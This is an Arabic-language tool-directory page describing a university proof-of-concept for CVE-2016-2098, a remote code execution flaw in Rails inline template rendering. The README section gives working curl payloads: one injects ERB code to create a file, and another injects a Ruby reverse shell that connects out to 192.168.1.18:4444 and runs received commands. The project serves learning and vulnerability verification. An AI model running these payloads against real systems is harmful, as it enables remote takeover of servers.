Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
rails-PoC-CVE-2016-2098 — إثبات المفهوم CVE-2016-2098 | Kitploit
أدوات/GitHubGitHub/alejandro-marting/rails-poc-cve-2016-2098
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubalejandro-marting/rails-poc-cve-2016-2098

rails-PoC-CVE-2016-2098

إثبات المفهوم CVE-2016-2098

عرض المستودع
11منذ 9 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

دليل على المفهوم لثغرة: CVE-2016-2098

مشروع جامعي من إنشاء @alejandro-marting حيث يمكننا التحقق من الثغرة 2096

باستخدام:

  • rails 4.2.5.1
  • view has a vulnerable code app/views/poc/render1.html.erb

![] (https://github.com/Alejandro-MartinG/rails-PoC-CVE-2016-2098/blob/master/app/assets/images/Captura%20de%20pantalla%20de%202017-01-15%2009:50:23.png)

##التنفيذ: في البداية نحتاج إلى تشغيل خادم rails باستخدام الأمر التالي:

$ rvmsudo rails server -b 0.0.0.0 -p 80

الآن يمكننا التسبب في تنفيذ التعليمات البرمجية عن بُعد باستخدام الأمر التالي:

$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'

(يجب أن يتم إنشاء ملف rooted)

إذا كنت ترغب في تجربة قشرة عكسية مع حقن كود ruby، يمكنك تشغيل الأمر التالي:

root@kitploit:~
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}'  http://localhost:3000/poc/render1

إذا كان لديك أي سؤال، يرجى التواصل معي!

تنزيل الأداة